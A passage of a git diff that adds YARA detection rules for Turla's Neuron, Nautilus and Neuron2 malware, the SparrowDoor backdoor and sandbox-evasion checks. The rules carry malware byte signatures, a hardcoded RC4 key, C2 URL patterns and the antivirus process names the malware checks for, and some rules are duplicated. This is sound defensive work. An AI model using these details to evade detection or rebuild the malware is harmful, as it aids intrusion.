+   $a = {eb073d151231011234080e12818d1d051281311d1281211d1281211d128121081d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281}
+   $dotnetMagic = "BSJB" ascii
+ condition:
+   (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and all of them
+} 
+
+rule neuron_functions_classes_and_vars {
+ meta:
+   description = "Rule for detection of Neuron based on .NET function, variable and class names"
+   author = "NCSC UK"
+   reference = "https://www.ncsc.gov.uk/file/2691/download?token=RzXWTuAB"
+   reference2 = "https://www.ncsc.gov.uk/alerts/turla-group-malware"
+   hash = "d1d7a96fcadc137e80ad866c838502713db9cdfe59939342b8e3beacf9c7fe29"
+ strings:
+   $class1 = "StorageUtils" ascii
+   $class2 = "WebServer" ascii
+   $class3 = "StorageFile" ascii
+   $class4 = "StorageScript" ascii
+   $class5 = "ServerConfig" ascii
+   $class6 = "CommandScript" ascii
+   $class7 = "MSExchangeService" ascii
+   $class8 = "W3WPDIAG" ascii
+   $func1 = "AddConfigAsString" ascii
+   $func2 = "DelConfigAsString" ascii
+   $func3 = "GetConfigAsString" ascii
+   $func4 = "EncryptScript" ascii
+   $func5 = "ExecCMD" ascii
+   $func6 = "KillOldThread" ascii
+   $func7 = "FindSPath" ascii
+   $var1 = "CommandTimeWait" ascii
+   $dotnetMagic = "BSJB" ascii
+ condition:
+   (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and $dotnetMagic and 6 of them
+}
+
+rule nautilus_modified_rc4_loop {
+ meta:
+   description = "Rule for detection of Nautilus based on assembly code for a modified RC4 loop"
+   author = "NCSC UK"
+   reference = "https://www.ncsc.gov.uk/file/2691/download?token=RzXWTuAB"
+   reference2 = "https://www.ncsc.gov.uk/alerts/turla-group-malware"
+   hash = "a415ab193f6cd832a0de4fcc48d5f53d6f0b06d5e13b3c359878c6c31f3e7ec3"
+ strings:
+   $a = {42 0F B6 14 04 41 FF C0 03 D7 0F B6 CA 8A 14 0C 43 32 14 13 41 88 12 49 FF C2 49 FF C9}
+ condition:
+   (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and $a
+}
+
+rule nautilus_rc4_key {
+ meta:
+   description = "Rule for detection of Nautilus based on a hardcoded RC4 key"
+   author = "NCSC UK"
+   reference = "https://www.ncsc.gov.uk/file/2691/download?token=RzXWTuAB"
+   reference2 = "https://www.ncsc.gov.uk/alerts/turla-group-malware"
+   hash = "a415ab193f6cd832a0de4fcc48d5f53d6f0b06d5e13b3c359878c6c31f3e7ec3"
+ strings:
+   $key = {31 42 31 34 34 30 44 39 30 46 43 39 42 43 42 34 36 41 39 41 43 39 36 34 33 38 46 45 45 41 38 42}
+ condition:
+   (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and $key
+}
+
+rule nautilus_common_strings {
+ meta:
+   description = "Rule for detection of Nautilus based on common plaintext strings"
+   author = "NCSC UK"
+   reference = "https://www.ncsc.gov.uk/file/2691/download?token=RzXWTuAB"
+   reference2 = "https://www.ncsc.gov.uk/alerts/turla-group-malware"
+   hash = "a415ab193f6cd832a0de4fcc48d5f53d6f0b06d5e13b3c359878c6c31f3e7ec3"
+ strings:
+   $ = "nautilus-service.dll" ascii
+   $ = "oxygen.dll" ascii
+   $ = "config_listen.system" ascii
+   $ = "ctx.system" ascii
+   $ = "3FDA3998-BEF5-426D-82D8-1A71F29ADDC3" ascii
+   $ = "C:\\ProgramData\\Microsoft\\Windows\\Caches\\{%s}.2.ver0x0000000000000001.db" ascii
+ condition:
+   (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and 3 of them
+} 
+
+rule nautilus_common_strings {
+ meta:
+  description = "Rule for detection of Nautilus based on common plaintext strings"
+  author = "NCSC UK"
+  reference = "https://www.ncsc.gov.uk/file/2691/download?token=RzXWTuAB"
+  reference2 = "https://www.ncsc.gov.uk/alerts/turla-group-malware"
+  hash = "a415ab193f6cd832a0de4fcc48d5f53d6f0b06d5e13b3c359878c6c31f3e7ec3"
+ strings:
+  $ = "nautilus-service.dll" ascii
+  $ = "oxygen.dll" ascii
+  $ = "config_listen.system" ascii
+  $ = "ctx.system" ascii
+  $ = "3FDA3998-BEF5-426D-82D8-1A71F29ADDC3" ascii
+  $ = "C:\\ProgramData\\Microsoft\\Windows\\Caches\\{%s}.2.ver0x0000000000000001.db" ascii
+ condition:
+  (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and 3 of them
+} 
+
+rule neuron2_loader_strings {
+ meta:
+  description = "Rule for detection of Neuron2 based on strings within the loader"
+  author = "NCSC"
+  reference = "https://www.ncsc.gov.uk/file/2768/download?token=An2Ro6YZ"
+  reference2 = "https://www.ncsc.gov.uk/alerts/turla-group-malware"
+  hash = "51616b207fde2ff1360a1364ff58270e0d46cf87a4c0c21b374a834dd9676927"
+ strings:
+  $ = "dcom_api" ascii
+  $ = "http://*:80/OWA/OAB/" ascii
+  $ = "https://*:443/OWA/OAB/" ascii
+  $ = "dcomnetsrv.cpp" wide
+  $ = "dcomnet.dll" ascii
+  $ = "D:\\Develop\\sps\\neuron2\\x64\\Release\\dcomnet.pdb" ascii
+ condition:
+  (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and 2 of them
+}
+
+rule neuron2_decryption_routine {
+ meta:
+  description = "Rule for detection of Neuron2 based on the routine used to decrypt the payload"
+  author = "NCSC"
+  reference = "https://www.ncsc.gov.uk/file/2768/download?token=An2Ro6YZ"
+  reference2 = "https://www.ncsc.gov.uk/alerts/turla-group-malware"
+  hash = "51616b207fde2ff1360a1364ff58270e0d46cf87a4c0c21b374a834dd9676927"
+ strings:
+  $ = {81 FA FF 00 00 00 0F B6 C2 0F 46 C2 0F B6 0C 04 48 03 CF 0F B6 D1 8A 0C 14 8D 50 01 43 32 0C 13 41 88 0A 49 FF C2 49 83 E9 01}
+ condition:
+  (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and all of them
+}
+
+rule neuron2_dotnet_strings {
+ meta:
+  description = "Rule for detection of the .NET payload for Neuron2 based on strings used"
+  author = "NCSC"
+  reference = "https://www.ncsc.gov.uk/file/2768/download?token=An2Ro6YZ"
+  reference2 = "https://www.ncsc.gov.uk/alerts/turla-group-malware"
+  hash = "83d8922e7a8212f1a2a9015973e668d7999b90e7000c31f57be83803747df015"
+ strings:
+  $dotnetMagic = "BSJB" ascii
+  $s1 = "http://*:80/W3SVC/" wide
+  $s2 = "https://*:443/W3SVC/" wide
+  $s3 = "neuron2.exe" ascii
+  $s4 = "D:\\Develop\\sps\\neuron2\\neuron2\\obj\\Release\\neuron2.pdb" ascii
+ condition:
+  (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and $dotnetMagic and 2 of ($s*)
+}
diff --git a/yara-mikesxrs/NCSC/SparrowDoor_apipatch.yar b/yara-mikesxrs/NCSC/SparrowDoor_apipatch.yar
new file mode 100644
index 0000000..1647cf5
--- /dev/null
+++ b/yara-mikesxrs/NCSC/SparrowDoor_apipatch.yar
@@ -0,0 +1,17 @@
+rule SparrowDoor_apipatch {
+meta:
+author = "NCSC"
+description = "Identifies code segments in SparrowDoor responsible for patching APIs. No MZ/PE match as the backdoor has no header. Targeting in memory."
+reference = "https://www.ncsc.gov.uk/files/NCSC-MAR-SparrowDoor.pdf"
+date = "2022-02-28"
+hash1 = "c1890a6447c991880467b86a013dbeaa66cc615f"
+strings:
+$save = {8B 06 89 07 8A 4E 04} // save off first 5 bytes of function
+$vp_1 = {89 10 8A 4E 04 8B D6 2B D0 88 48 04 83 EA 05 C6 40 05 E9 89 50 06} // calculate long jump
+$vp_2 = {50 8B D6 6A 40 2B D7 88 4F 04 83 EA 05 6A 05 C6 47 05 E9 89 57 06 56} // calculate long jump 2
+$vp_3 = {51 52 2B DE 6A 05 83 EB 05 56 C6 06 E9 89 5E 01} // restore memory protections
+$va = {6A 40 68 00 10 00 00 68 00 10 00 00 6A 00} // virtually alloc set size, allocation and protection
+$s_patch = {50 68 7F FF FF FF 68 FF FF 00 00 56} // socket patch SO_DONTLINGER
+condition:
+3 of them
+}
diff --git a/yara-mikesxrs/NCSC/SparrowDoor_clipshot.yar b/yara-mikesxrs/NCSC/SparrowDoor_clipshot.yar
new file mode 100644
index 0000000..cdd619a
--- /dev/null
+++ b/yara-mikesxrs/NCSC/SparrowDoor_clipshot.yar
@@ -0,0 +1,20 @@
+import "pe"
+
+rule SparrowDoor_clipshot {
+meta:
+author = "NCSC"
+description = "The SparrowDoor loader contains a feature it calls clipshot, which logs clipboard data to a file."
+reference = "https://www.ncsc.gov.uk/files/NCSC-MAR-SparrowDoor.pdf"
+date = "2022-02-28"
+hash1 = "989b3798841d06e286eb083132242749c80fdd4d"
+strings:
+$exsting_cmp = {8B 1E 3B 19 75 ?? 83 E8 04 83 C1 04 83 C6 04 83 F8 04} // comparison routine for previous clipboard data
+$time_format_string = "%d/%d/%d %d:%d" ascii
+$cre_fil_args = {6A 00 68 80 00 00 00 6A 04 6A 00 6A 02 68 00 00 00 40 52}
+condition:
+(uint16(0) == 0x5A4D) and uint32(uint32(0x3C)) == 0x00004550 and
+all of them and (pe.imports("User32.dll","OpenClipboard") and
+pe.imports("User32.dll","GetClipboardData") and
+pe.imports("Kernel32.dll","GetLocalTime") and
+pe.imports("Kernel32.dll","GlobalSize"))
+}
diff --git a/yara-mikesxrs/NCSC/SparrowDoor_config.yar b/yara-mikesxrs/NCSC/SparrowDoor_config.yar
new file mode 100644
index 0000000..6757c8d
--- /dev/null
+++ b/yara-mikesxrs/NCSC/SparrowDoor_config.yar
@@ -0,0 +1,14 @@
+rule SparrowDoor_config {
+meta:
+author = "NCSC"
+description = "Targets the XOR encoded loader config and shellcode in the file libhost.dll using the known position of the XOR key."
+reference = "https://www.ncsc.gov.uk/files/NCSC-MAR-SparrowDoor.pdf"
+date = "2022-02-28"
+hash1 = "c1890a6447c991880467b86a013dbeaa66cc615f"
+condition:
+(uint16(0) != 0x5A4D) and
+(uint16(0) != 0x8b55) and
+(uint32(0) ^ uint32(0x4c) == 0x00) and
+(uint32(0) ^ uint32(0x34) == 0x00) and
+(uint16(0) ^ uint16(0x50) == 0x8b55)
+}
diff --git a/yara-mikesxrs/NCSC/SparrowDoor_loader.yar b/yara-mikesxrs/NCSC/SparrowDoor_loader.yar
new file mode 100644
index 0000000..451d8d4
--- /dev/null
+++ b/yara-mikesxrs/NCSC/SparrowDoor_loader.yar
@@ -0,0 +1,15 @@
+rule SparrowDoor_loader {
+meta:
+author = "NCSC"
+description = "Targets code features of the SparrowDoor loader. This rule detects the previous variant and this new variant."
+reference = "https://www.ncsc.gov.uk/files/NCSC-MAR-SparrowDoor.pdf"
+date = "2022-02-28"
+hash1 = "989b3798841d06e286eb083132242749c80fdd4d"
+strings:
+$xor_algo = {8B D0 83 E2 03 8A 54 14 10 30 14 30 40 3B C1}
+$rva = {8D B0 [4] 8D 44 24 ?? 50 6A 40 6A 05 56} // load RVA of process exe
+$lj = {2B CE 83 E9 05 8D [3] 52 C6 06 E9 89 4E 01 8B [3] 50 6A 05 56} // calculate long jump
+condition:
+(uint16(0) == 0x5A4D) and uint32(uint32(0x3C)) == 0x00004550 and
+all of them
+}
diff --git a/yara-mikesxrs/NCSC/SparrowDoor_shellcode.yar b/yara-mikesxrs/NCSC/SparrowDoor_shellcode.yar
new file mode 100644
index 0000000..afea205
--- /dev/null
+++ b/yara-mikesxrs/NCSC/SparrowDoor_shellcode.yar
@@ -0,0 +1,15 @@
+rule SparrowDoor_shellcode {
+meta:
+author = "NCSC"
+description = "Targets code features of the reflective loader for SparrowDoor. Targeting in memory."
+reference = "https://www.ncsc.gov.uk/files/NCSC-MAR-SparrowDoor.pdf"
+date = "2022-02-28"
+hash1 = "c1890a6447c991880467b86a013dbeaa66cc615f"
+strings:
+$peb = {8B 48 08 89 4D FC 8B 51 3C 8B 54 0A 78 8B 74 0A 20 03 D1 03 F1 B3 64}
+$getp_match = {8B 06 03 C1 80 38 47 75 34 80 78 01 65 75 2E 80 78 02 74 75 28 80 78 03 50 75 22 80 78 04 72 75 1C 80 78 06 63 75 16 80 78 05 6F 75 10 80 78 07 41 75 0A}
+$k_check = {8B 48 20 8A 09 80 F9 6B 74 05 80 F9 4B 75 05}
+$resolve_load_lib = {C7 45 C4 4C 6F 61 64 C7 45 C8 4C 69 62 72 C7 45 CC 61 72 79 41 C7 45 D0 00 00 00 00 FF 75 FC FF 55 E4}
+condition:
+3 of them
+}
diff --git a/yara-mikesxrs/NCSC/SparrowDoor_sleep_routine.yar b/yara-mikesxrs/NCSC/SparrowDoor_sleep_routine.yar
new file mode 100644
index 0000000..6324e1b
--- /dev/null
+++ b/yara-mikesxrs/NCSC/SparrowDoor_sleep_routine.yar
@@ -0,0 +1,12 @@
+rule SparrowDoor_sleep_routine {
+meta:
+author = "NCSC"
+description = "SparrowDoor implements a Sleep routine with value seeded on GetTickCount. This signature detects the previous and this variant of SparrowDoor. No MZ/PE match as the backdoor has no header."
+reference = "https://www.ncsc.gov.uk/files/NCSC-MAR-SparrowDoor.pdf"
+date = "2022-02-28"
+hash1 = "c1890a6447c991880467b86a013dbeaa66cc615f"
+strings:
+$sleep = {FF D7 33 D2 B9 [4] F7 F1 81 C2 [4] 8B C2 C1 E0 04 2B C2 03 C0 03 C0 03 C0 50}
+condition:
+all of them
+}
diff --git a/yara-mikesxrs/NCSC/SparrowDoor_strings.yar b/yara-mikesxrs/NCSC/SparrowDoor_strings.yar
new file mode 100644
index 0000000..960b184
--- /dev/null
+++ b/yara-mikesxrs/NCSC/SparrowDoor_strings.yar
@@ -0,0 +1,23 @@
+rule SparrowDoor_strings {
+meta:
+author = "NCSC"
+description = "Strings that appear in SparrowDoor’s backdoor. Targeting in memory."
+reference = "https://www.ncsc.gov.uk/files/NCSC-MAR-SparrowDoor.pdf"
+date = "2022-02-28"
+hash1 = "c1890a6447c991880467b86a013dbeaa66cc615f"
+strings:
+$reg = "Software\\Microsoft\\Windows\\CurrentVersion\\Run" ascii
+$http_headers = {55 73 65 72 2D 41 67 65 6E 74 3A 20 4D 6F 7A 69 6C 6C 61 2F 34 2E 30 20 28 63 6F 6D 70 61 74 69 62 6C 65 3B 20 4D 53 49 45 20 35 2E 30 3B 20 57 69 6E 64 6F 77 73 20 4E 54 20 35 2E 30 29 0D 0A 41 63 63 65 70 74 2D 4C 61 6E 67 75 61 67 65 3A 20 65 6E 2D 55 53 0D 0A 41 63 63 65 70 74 3A 20 2A 2F 2A 0D 0A}
+$http_proxy = "HTTPS=HTTPS://%s:%d" ascii
+$debug = "SeDebugPrivilege" ascii
+$av1 = "avp.exe" ascii // Kaspersky
+$av2 = "ZhuDongFangYu.exe" ascii // Qihoo360
+$av3 = "egui.exe" ascii // ESET
+$av4 = "TMBMSRV.exe" ascii // Trend Micro
+$av5 = "ccSetMgr.exe" ascii // Norton
+$clipshot = "clipshot" ascii
+$ComSpec = "ComSpec" ascii
+$export = "curl_easy_init" ascii
+condition:
+10 of them
+}
diff --git a/yara-mikesxrs/NCSC/SparrowDoor_xor.yar b/yara-mikesxrs/NCSC/SparrowDoor_xor.yar
new file mode 100644
index 0000000..17d5f02
--- /dev/null
+++ b/yara-mikesxrs/NCSC/SparrowDoor_xor.yar
@@ -0,0 +1,14 @@
+rule SparrowDoor_xor {
+meta:
+author = "NCSC"
+description = "Highlights XOR routines in SparrowDoor. No MZ/PE match as the backdoor has no header. Targeting in memory."
+reference = "https://www.ncsc.gov.uk/files/NCSC-MAR-SparrowDoor.pdf"
+date = "2022-02-28"
+hash1 = "c1890a6447c991880467b86a013dbeaa66cc615f"
+strings:
+$xor_routine_outbound = {B8 39 8E E3 38 F7 E1 D1 EA 8D 14 D2 8B C1 2B C2 8A [4] 00 30 14 39 41 3B CE}
+$xor_routine_inbound = {B8 25 49 92 24 F7 E1 8B C1 2B C2 D1 E8 03 C2 C1 E8 02 8D 14 C5 [4] 2B D0 8B C1 2B C2}
+$xor_routine_config = {8B D9 83 E3 07 0F [6] 30 18 8D 1C 07 83 E3 07 0F [6] 30 58 01 8D 1C 28 83 E3 07 0F [6] 30 58 02 8D 1C 02 83 E3 07 0F [6] 30 58 03 8B DE 83 E3 07 0F [6] 30 58 04 83 C6 05 83 C1 05}
+condition:
+2 of them
+}
diff --git a/yara-mikesxrs/NCSC/turla_neuron_nautilus.yar b/yara-mikesxrs/NCSC/turla_neuron_nautilus.yar
new file mode 100644
index 0000000..953b163
--- /dev/null
+++ b/yara-mikesxrs/NCSC/turla_neuron_nautilus.yar
@@ -0,0 +1,176 @@
+rule neuron_common_strings {
+ meta:
+  description = "Rule for detection of Neuron based on commonly used strings"
+  author = "NCSC UK"
+  reference = "https://www.ncsc.gov.uk/file/2691/download?token=RzXWTuAB"
+  reference2 = "https://www.ncsc.gov.uk/alerts/turla-group-malware"
+  hash = "d1d7a96fcadc137e80ad866c838502713db9cdfe59939342b8e3beacf9c7fe29"
+ strings:
+   $strServiceName = "MSExchangeService" ascii
+   $strReqParameter_1 = "cadataKey" wide
+   $strReqParameter_2 = "cid" wide
+   $strReqParameter_3 = "cadata" wide
+   $strReqParameter_4 = "cadataSig" wide
+   $strEmbeddedKey = "PFJTQUtleVZhbHVlPjxNb2R1bHVzPnZ3WXRKcnNRZjVTcCtWVG9Rb2xuaEVkMHVwWDFrVElFTUNTNEFnRkRCclNmclpKS0owN3BYYjh2b2FxdUtseXF2RzBJcHV0YXhDMVRYazRoeFNrdEpzbHljU3RFaHBUc1l4OVBEcURabVVZVklVbHlwSFN1K3ljWUJWVFdubTZmN0JTNW1pYnM0UWhMZElRbnl1ajFMQyt6TUhwZ0xmdEc2b1d5b0hyd1ZNaz08L01vZHVsdXM+PEV4cG9uZW50PkFRQUI8L0V4cG9uZW50PjwvUlNBS2V5VmFsdWU+" wide
+   $strDefaultKey = "8d963325-01b8-4671-8e82-d0904275ab06" wide
+   $strIdentifier = "MSXEWS" wide
+   $strListenEndpoint = "443/ews/exchange/" wide
+   $strB64RegKeySubstring = "U09GVFdBUkVcTWljcm9zb2Z0XENyeXB0b2dyYXBo" wide
+   $strName = "neuron_service" ascii
+   $dotnetMagic = "BSJB" ascii
+ condition:
+   (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and $dotnetMagic and 6 of ($str*)
+} 
+
+rule neuron_standalone_signature {
+ meta:
+   description = "Rule for detection of Neuron based on a standalone signature from .NET metadata"
+   author = "NCSC UK"
+   reference = "https://www.ncsc.gov.uk/file/2691/download?token=RzXWTuAB"
+   reference2 = "https://www.ncsc.gov.uk/alerts/turla-group-malware"
+   hash = "d1d7a96fcadc137e80ad866c838502713db9cdfe59939342b8e3beacf9c7fe29"
+ strings:
+   $a = {eb073d151231011234080e12818d1d051281311d1281211d1281211d128121081d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281}
+   $dotnetMagic = "BSJB" ascii
+ condition:
+   (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and all of them
+} 
+
+rule neuron_functions_classes_and_vars {
+ meta:
+   description = "Rule for detection of Neuron based on .NET function, variable and class names"
+   author = "NCSC UK"
+   reference = "https://www.ncsc.gov.uk/file/2691/download?token=RzXWTuAB"
+   reference2 = "https://www.ncsc.gov.uk/alerts/turla-group-malware"
+   hash = "d1d7a96fcadc137e80ad866c838502713db9cdfe59939342b8e3beacf9c7fe29"
+ strings:
+   $class1 = "StorageUtils" ascii
+   $class2 = "WebServer" ascii
+   $class3 = "StorageFile" ascii
+   $class4 = "StorageScript" ascii
+   $class5 = "ServerConfig" ascii
+   $class6 = "CommandScript" ascii
+   $class7 = "MSExchangeService" ascii
+   $class8 = "W3WPDIAG" ascii
+   $func1 = "AddConfigAsString" ascii
+   $func2 = "DelConfigAsString" ascii
+   $func3 = "GetConfigAsString" ascii
+   $func4 = "EncryptScript" ascii
+   $func5 = "ExecCMD" ascii
+   $func6 = "KillOldThread" ascii
+   $func7 = "FindSPath" ascii
+   $var1 = "CommandTimeWait" ascii
+   $dotnetMagic = "BSJB" ascii
+ condition:
+   (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and $dotnetMagic and 6 of them
+}
+
+rule nautilus_modified_rc4_loop {
+ meta:
+   description = "Rule for detection of Nautilus based on assembly code for a modified RC4 loop"
+   author = "NCSC UK"
+   reference = "https://www.ncsc.gov.uk/file/2691/download?token=RzXWTuAB"
+   reference2 = "https://www.ncsc.gov.uk/alerts/turla-group-malware"
+   hash = "a415ab193f6cd832a0de4fcc48d5f53d6f0b06d5e13b3c359878c6c31f3e7ec3"
+ strings:
+   $a = {42 0F B6 14 04 41 FF C0 03 D7 0F B6 CA 8A 14 0C 43 32 14 13 41 88 12 49 FF C2 49 FF C9}
+ condition:
+   (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and $a
+}
+
+rule nautilus_rc4_key {
+ meta:
+   description = "Rule for detection of Nautilus based on a hardcoded RC4 key"
+   author = "NCSC UK"
+   reference = "https://www.ncsc.gov.uk/file/2691/download?token=RzXWTuAB"
+   reference2 = "https://www.ncsc.gov.uk/alerts/turla-group-malware"
+   hash = "a415ab193f6cd832a0de4fcc48d5f53d6f0b06d5e13b3c359878c6c31f3e7ec3"
+ strings:
+   $key = {31 42 31 34 34 30 44 39 30 46 43 39 42 43 42 34 36 41 39 41 43 39 36 34 33 38 46 45 45 41 38 42}
+ condition:
+   (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and $key
+}
+
+rule nautilus_common_strings {
+ meta:
+   description = "Rule for detection of Nautilus based on common plaintext strings"
+   author = "NCSC UK"
+   reference = "https://www.ncsc.gov.uk/file/2691/download?token=RzXWTuAB"
+   reference2 = "https://www.ncsc.gov.uk/alerts/turla-group-malware"
+   hash = "a415ab193f6cd832a0de4fcc48d5f53d6f0b06d5e13b3c359878c6c31f3e7ec3"
+ strings:
+   $ = "nautilus-service.dll" ascii
+   $ = "oxygen.dll" ascii
+   $ = "config_listen.system" ascii
+   $ = "ctx.system" ascii
+   $ = "3FDA3998-BEF5-426D-82D8-1A71F29ADDC3" ascii
+   $ = "C:\\ProgramData\\Microsoft\\Windows\\Caches\\{%s}.2.ver0x0000000000000001.db" ascii
+ condition:
+   (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and 3 of them
+} 
+
+rule nautilus_common_strings {
+ meta:
+  description = "Rule for detection of Nautilus based on common plaintext strings"
+  author = "NCSC UK"
+  reference = "https://www.ncsc.gov.uk/file/2691/download?token=RzXWTuAB"
+  reference2 = "https://www.ncsc.gov.uk/alerts/turla-group-malware"
+  hash = "a415ab193f6cd832a0de4fcc48d5f53d6f0b06d5e13b3c359878c6c31f3e7ec3"
+ strings:
+  $ = "nautilus-service.dll" ascii
+  $ = "oxygen.dll" ascii
+  $ = "config_listen.system" ascii
+  $ = "ctx.system" ascii
+  $ = "3FDA3998-BEF5-426D-82D8-1A71F29ADDC3" ascii
+  $ = "C:\\ProgramData\\Microsoft\\Windows\\Caches\\{%s}.2.ver0x0000000000000001.db" ascii
+ condition:
+  (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and 3 of them
+} 
+
+rule neuron2_loader_strings {
+ meta:
+  description = "Rule for detection of Neuron2 based on strings within the loader"
+  author = "NCSC"
+  reference = "https://www.ncsc.gov.uk/file/2768/download?token=An2Ro6YZ"
+  reference2 = "https://www.ncsc.gov.uk/alerts/turla-group-malware"
+  hash = "51616b207fde2ff1360a1364ff58270e0d46cf87a4c0c21b374a834dd9676927"
+ strings:
+  $ = "dcom_api" ascii
+  $ = "http://*:80/OWA/OAB/" ascii
+  $ = "https://*:443/OWA/OAB/" ascii
+  $ = "dcomnetsrv.cpp" wide
+  $ = "dcomnet.dll" ascii
+  $ = "D:\\Develop\\sps\\neuron2\\x64\\Release\\dcomnet.pdb" ascii
+ condition:
+  (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and 2 of them
+}
+
+rule neuron2_decryption_routine {
+ meta:
+  description = "Rule for detection of Neuron2 based on the routine used to decrypt the payload"
+  author = "NCSC"
+  reference = "https://www.ncsc.gov.uk/file/2768/download?token=An2Ro6YZ"
+  reference2 = "https://www.ncsc.gov.uk/alerts/turla-group-malware"
+  hash = "51616b207fde2ff1360a1364ff58270e0d46cf87a4c0c21b374a834dd9676927"
+ strings:
+  $ = {81 FA FF 00 00 00 0F B6 C2 0F 46 C2 0F B6 0C 04 48 03 CF 0F B6 D1 8A 0C 14 8D 50 01 43 32 0C 13 41 88 0A 49 FF C2 49 83 E9 01}
+ condition:
+  (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and all of them
+}
+
+rule neuron2_dotnet_strings {
+ meta:
+  description = "Rule for detection of the .NET payload for Neuron2 based on strings used"
+  author = "NCSC"
+  reference = "https://www.ncsc.gov.uk/file/2768/download?token=An2Ro6YZ"
+  reference2 = "https://www.ncsc.gov.uk/alerts/turla-group-malware"
+  hash = "83d8922e7a8212f1a2a9015973e668d7999b90e7000c31f57be83803747df015"
+ strings:
+  $dotnetMagic = "BSJB" ascii
+  $s1 = "http://*:80/W3SVC/" wide
+  $s2 = "https://*:443/W3SVC/" wide
+  $s3 = "neuron2.exe" ascii
+  $s4 = "D:\\Develop\\sps\\neuron2\\neuron2\\obj\\Release\\neuron2.pdb" ascii
+ condition:
+  (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and $dotnetMagic and 2 of ($s*)
+}
diff --git a/yara-mikesxrs/Nick Hoffman/Check_Debugger.yar b/yara-mikesxrs/Nick Hoffman/Check_Debugger.yar
new file mode 100644
index 0000000..a32a594
--- /dev/null
+++ b/yara-mikesxrs/Nick Hoffman/Check_Debugger.yar	
@@ -0,0 +1,11 @@
+import "pe"
+rule Check_Debugger
+{
+	meta:
+		Author = "Nick Hoffman"
+		Description = "Looks for both isDebuggerPresent and CheckRemoteDebuggerPresent"
+		Sample = "de1af0e97e94859d372be7fcf3a5daa5"
+	condition:
+		pe.imports("kernel32.dll","CheckRemoteDebuggerPresent") and 
+		pe.imports("kernel32.dll","IsDebuggerPresent")
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Nick Hoffman/Check_Dlls.yar b/yara-mikesxrs/Nick Hoffman/Check_Dlls.yar
new file mode 100644
index 0000000..8176fa9
--- /dev/null
+++ b/yara-mikesxrs/Nick Hoffman/Check_Dlls.yar	
@@ -0,0 +1,17 @@
+rule Check_Dlls
+{
+	meta:
+		Author = "Nick Hoffman"
+		Description = "Checks for common sandbox dlls"
+		Sample = "de1af0e97e94859d372be7fcf3a5daa5"
+	strings:
+		$dll1 = "sbiedll.dll" wide nocase ascii fullword
+		$dll2 = "dbghelp.dll" wide nocase ascii fullword
+		$dll3 = "api_log.dll" wide nocase ascii fullword
+		$dll4 = "dir_watch.dll" wide nocase ascii fullword
+		$dll5 = "pstorec.dll" wide nocase ascii fullword
+		$dll6 = "vmcheck.dll" wide nocase ascii fullword
+		$dll7 = "wpespy.dll" wide nocase ascii fullword
+	condition:
+		2 of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Nick Hoffman/Check_DriveSize.yar b/yara-mikesxrs/Nick Hoffman/Check_DriveSize.yar
new file mode 100644
index 0000000..78268de
--- /dev/null
+++ b/yara-mikesxrs/Nick Hoffman/Check_DriveSize.yar	
@@ -0,0 +1,17 @@
+import "pe"
+rule Check_DriveSize
+{
+	meta:
+		Author = "Nick Hoffman"
+		Description = "Rule tries to catch uses of DeviceIOControl being used to get the drive size"
+		Sample = "de1af0e97e94859d372be7fcf3a5daa5"
+
+	strings:
+		$physicaldrive = "\\\\.\\PhysicalDrive0" wide ascii nocase
+		$dwIoControlCode = {68 5c 40 07 00 [0-5] FF 15} //push 7405ch ; push esi (handle) then call deviceoiocontrol IOCTL_DISK_GET_LENGTH_INFO	
+	condition:
+		pe.imports("kernel32.dll","CreateFileA") and 	
+		pe.imports("kernel32.dll","DeviceIoControl") and 
+		$dwIoControlCode and
+		$physicaldrive
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Nick Hoffman/Check_FilePaths.yar b/yara-mikesxrs/Nick Hoffman/Check_FilePaths.yar
new file mode 100644
index 0000000..446e34e
--- /dev/null
+++ b/yara-mikesxrs/Nick Hoffman/Check_FilePaths.yar	
@@ -0,0 +1,14 @@
+import "pe"
+rule Check_FilePaths
+{
+	meta:
+		Author = "Nick Hoffman"
+		Description = "Checks for filepaths containing popular sandbox names"
+		Sample = "de1af0e97e94859d372be7fcf3a5daa5"
+	strings: 
+		$path1 = "SANDBOX" wide ascii
+		$path2 = "\\SAMPLE" wide ascii
+		$path3 = "\\VIRUS" wide ascii
+	condition:
+		all of ($path*) and pe.imports("kernel32.dll","GetModuleFileNameA")
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Nick Hoffman/Check_Qemu_Description.yar b/yara-mikesxrs/Nick Hoffman/Check_Qemu_Description.yar
new file mode 100644
index 0000000..40ca748
--- /dev/null
+++ b/yara-mikesxrs/Nick Hoffman/Check_Qemu_Description.yar	
@@ -0,0 +1,13 @@
+rule Check_Qemu_Description
+{
+	meta:
+		Author = "Nick Hoffman"
+		Description = "Checks for QEMU systembiosversion key"
+		Sample = "de1af0e97e94859d372be7fcf3a5daa5"
+	strings:
+		$key = "HARDWARE\\Description\\System" nocase wide ascii
